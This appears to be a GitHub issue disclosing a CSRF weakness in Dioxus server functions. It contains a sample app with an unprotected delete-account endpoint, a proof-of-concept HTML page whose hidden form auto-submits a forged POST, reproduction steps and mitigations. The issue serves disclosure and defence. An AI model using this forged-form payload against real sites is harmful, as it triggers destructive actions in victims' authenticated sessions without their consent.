Closed as not planned
Description
A simple Dioxus app exposes a server function (delete_account
) at /api/delete
without any CSRF token or origin checks. Because browsers send cookies on cross-site POSTs by default, an attacker's hidden form can trigger that endpoint in a victim's authenticated session, deleting the account.
Vulnerable Code
use dioxus::prelude::*;
fn main() {
dioxus::launch(App);
}
#[component]
fn App() -> Element {
let mut response = use_signal(String::new);
let id = use_signal(|| 69);
rsx! {
div {
button {
r#type: "button",
onclick: move |_| async move {
let data = delete_account(id()).await.unwrap();
response.set(data);
},
"Delete Account"
}
if !response().is_empty() {
p {
"Server responded: "
i { "{response}" }
}
}
}
}
}
#[server(endpoint = "delete")]
async fn delete_account(user_id: i64) -> Result<String, ServerFnError> {
Ok(format!("Account {} deleted!", user_id).to_string())
}
Here, the #[server]
macro auto-mounts a JSON POST endpoint with no CSRF protection (dioxuslabs.com).
PoC Exploit
Create exploit.html
on a different origin (or local file):
<!DOCTYPE html>
<html>
<body>
<form
action="http://localhost:8080/api/delete"
method="POST"
style="display:none"
>
<input name="user_id" value="69" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- Run the Dioxus full-stack app locally (e.g.
dx serve
). - Visit
http://localhost:8080
so your session cookie is set. - Open
exploit.html
in the same browser. - The hidden form auto-submits, and the server logs
Account 69 deleted!
without any user action (OWASP Foundation, OWASP Foundation). - In your browser, open DevTools -> Network, filter by
All
. - Observe a POST to
http://localhost:8080/api/delete
with a 200 response, and no customX-CSRF-Token
or similar header. - Observe a 200 response in your terminal:
21:52:53 [dev] [200] /api/delete
Why It Works
- No CSRF Token: Server functions lack built-in token validation (dioxuslabs.com).
- Cookies Sent Cross-Site: Unless
SameSite
is set, browsers include cookies on cross-site POSTs, authenticating the forged request (OWASP Foundation).
Quick Mitigations
- Synchronizer Token: Generate a per-session CSRF token, embed it in forms/headers, and validate it server-side (OWASP Cheat Sheet Series).
- SameSite Cookies: Set
Set-Cookie: session=...; SameSite=Strict
(orLax
) to block most CSRF POSTs (OWASP Foundation) (e.g. opensass login endpoint uses axum_extra/extract/cookie).
With just a few lines of code and a hidden form, this CSRF exploit highlights why Dioxus server functions should always be paired with token checks or strict cookie policies.